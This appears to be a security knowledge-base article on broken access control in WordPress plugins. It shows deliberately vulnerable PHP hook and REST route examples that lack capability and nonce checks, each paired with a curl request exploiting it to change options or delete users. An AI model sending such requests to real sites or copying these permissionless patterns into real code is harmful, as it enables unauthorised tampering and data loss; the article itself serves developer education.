Skip to content

Broken Access Control

Introduction

This article covers cases of possible Broken Access Control on WordPress. This includes improper hook/function/code usage inside of the plugin/theme which can be used to access or update sensitive information.

By default, processes on hooks or functions that are used on plugins or themes don’t have a permission and nonce value check, that’s why the developer needs to manually perform a permission check using current_user_can function and the nonce value check using wp_verify_nonce, check_admin_referer or check_ajax_referer functions.

Insecure Direct Object Reference

Insecure Direct Object Reference (IDOR) is one of the vulnerabilities caused by broken access control. It involves changing any entity’s ID to another that a user is not supposed to access.

For example, if a page views orders by order ID in the URL using the ?order_id=X parameter, and the user can just change the order ID to view another user’s order details, it is an IDOR.

init hook

For more details on the init hook, please refer to this documentation.

Example of vulnerable code:

add_action("init", "check_if_update");
function check_if_update(){
if(isset($_GET["update"])){
update_option("user_data", sanitize_text_field($_GET_["data"]));
}
}

To exploit this, an unauthenticated user just needs to visit the front page of a WordPress site and specify the parameter to trigger the update_option function which in this case will modify sensitive information.

Terminal window
curl <WORDPRESS_BASE_URL>/?update=1&data=test

admin_init hook

For more details about the admin_init hook, please refer to this documentation.

Example of vulnerable code:

add_action("admin_init", "delete_admin_menu");
function delete_admin_menu(){
if(isset($_POST["delete"])){
delete_option("custom_admin_menu");
}
}

To exploit this, the unauthenticated user just needs to perform a POST request to the admin-ajax.php and admin-post.php endpoints specifying the needed parameter to trigger the delete_option function to remove sensitive data.

Terminal window
curl <WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=heartbeat -d "delete=1"

wp_ajax_{$action} hook

For more details on the wp_ajax_{$action} hook, please refer to this documentation.

Example of vulnerable code:

add_action("wp_ajax_update_post_data", "update_post_data_2");
function update_post_data_2(){
if(isset($_POST["update"])){
$post_id = get_post($_POST["id"]);
update_post_meta($post_id, "data", sanitize_text_field($_POST["data"]));
}
}

To exploit this, any authenticated user (Subscriber+ role) just needs to perform a POST request to the admin-ajax.php endpoint specifying the needed action and parameter to trigger the update_post_meta function to update arbitrary WP Post metadata.

Terminal window
curl <WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=update_post_data&update=1 -d "id=1&data=changed"

wp_ajax_nopriv_{$action} hook

For more details on the wp_ajax_nopriv_{$action} hook, please refer to this documentation.

Example of vulnerable code:

add_action("wp_ajax_nopriv_toggle_menu_bar", "toggle_menu_bar");
function toggle_menu_bar(){
if ($_POST["toggle"] === "1"){
update_option("custom_toggle", 1);
}
else{
update_option("custom_toggle", 0);
}
}

To exploit this, any unauthenticated user just needs to perform a POST request to the admin-ajax.php endpoint specifying the needed action and parameter to trigger the update_option function.

Terminal window
curl <WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=toggle_menu_bar -d "toggle=1"

register_rest_route function

For more details on the register_rest_route function, please refer to this documentation.

Sometimes, developers don’t implement a proper permission check on the custom REST API route and use the __return_true string as the permission callback. This makes the custom REST API route to be publicly accessible.

add_action( 'rest_api_init', function () {
register_rest_route( 'myplugin/v1', '/delete/author', array(
'methods' => 'POST',
'callback' => 'delete_author_user',
'permission_callback' => '__return_true',
) );
} );
function delete_author_user($request){
$params = $request->get_params();
wp_delete_user(intval($params["user_id"]));
}

To exploit this, any unauthenticated user just needs to perform a POST request to the /wp-json/myplugin/v1/delete/author endpoint specifying the needed parameter to trigger the wp_delete_user function.

Terminal window
curl <WORDPRESS_BASE_URL>/wp-json/myplugin/v1/delete/author -d "user_id=1"

Other cases could exist where developers already specify a proper function on the permission_callback parameter, however, the permission check implemented inside the function itself is not proper to what process can be done from the REST API route callback function.

Contributors

rafiem